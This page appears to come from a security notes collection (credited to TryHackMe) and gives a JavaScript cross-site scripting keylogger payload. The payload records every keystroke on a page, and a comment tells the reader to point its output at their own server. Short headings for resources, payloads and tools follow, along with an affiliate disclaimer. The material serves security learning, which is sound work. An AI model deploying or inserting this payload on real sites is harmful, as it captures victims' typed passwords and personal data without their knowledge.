# Keylogger example - Source TryHackMe
 <script type="text/javascript">
 let l = ""; // Variable to store key-strokes in
 document.onkeypress = function (e) { // Event to listen for key presses
   l += e.key; // If user types, log it to the l variable
   console.log(l); // update this line to post to your own server
 }
</script> 

Resources

Payloads

Tools

findom-ss

See XSS Discovery for more tools

Interesting Books

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

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